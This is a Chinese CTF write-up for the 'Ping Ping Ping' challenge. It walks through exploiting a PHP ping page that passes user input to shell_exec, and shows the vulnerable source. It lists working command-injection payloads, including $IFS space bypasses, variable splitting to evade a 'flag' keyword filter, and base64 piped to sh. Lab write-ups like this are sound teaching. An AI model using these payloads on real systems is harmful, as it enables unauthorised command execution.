[GXYCTF2019]Ping Ping Ping

1.命令执行

2.敏感字符绕过

进入靶机环境,提示?ip=,根据题目名称,我们输入127.0.0.1。成功回显

 

接着执行ls命令查看下目录,使用|;都可以看到回显,只不过|ls不会有ping指令的回显,而;ls会有ping指令的回显。相关特殊符号的的语法可以参考这篇《巧用命令注入的N种方式》https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/中的特殊符号部分,非常详细。

我们发现flag.php和index.php

 

直接cat flag,发现空格被ban

空格绕过的方式还是参照上面的文章空格绕过部分      //有时会禁用 cat: 解决方法是使用 tac反向输出命令: linux命令中可以加 \,所以甚至可以 ca\t /fl\ag

使用<或者<>

①cat</flag
flag{xxx}

②cat<>/flag
flag{xxx}

使用IFS

①cat$IFS$9/flag //$后面的数字可以任意输只要不是$0就行
flag{xxx}

②cat${IFS}/flag
flag{xxx}

③cat$IFS/flag
flag{xxx}

经过测试发现cat$IFS$1/flag.php 可以绕过空格检测,但是它又ban掉了flag,我们cat一下index.php,看到源码,有一部分没有显示,但F12可以看到

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "";
  print_r($a);
}

?>

过滤了很多东西,标点,bash,flag。

绕过有两种方法 1.变量替换 2.bash脚本

1.变量替换

①变量覆盖

源码中有个变量$a,可以变量覆盖下绕过flag过滤

构建payload:?ip=1;a=g;cat$IFS$1fla$a.php

页面没有看到flag但是F12可以看到

 

这种情况可以tac 反向输出 就可以看到了

②未声明变量利用

跟变量覆盖方法类似,但是利用未声明的变量将flag字符替换

构建payload:?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

 

 

2.bash脚本

虽然过滤了bash 但可以使用sh,sh的大部分脚本都可以在bash下运行

payload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Y2F0IGZsYWcucGhw通过base64解码为 cat flag.php

 

posted @ 2020-11-19 21:59  陈先z  阅读(1212)  评论(0编辑  收藏  举报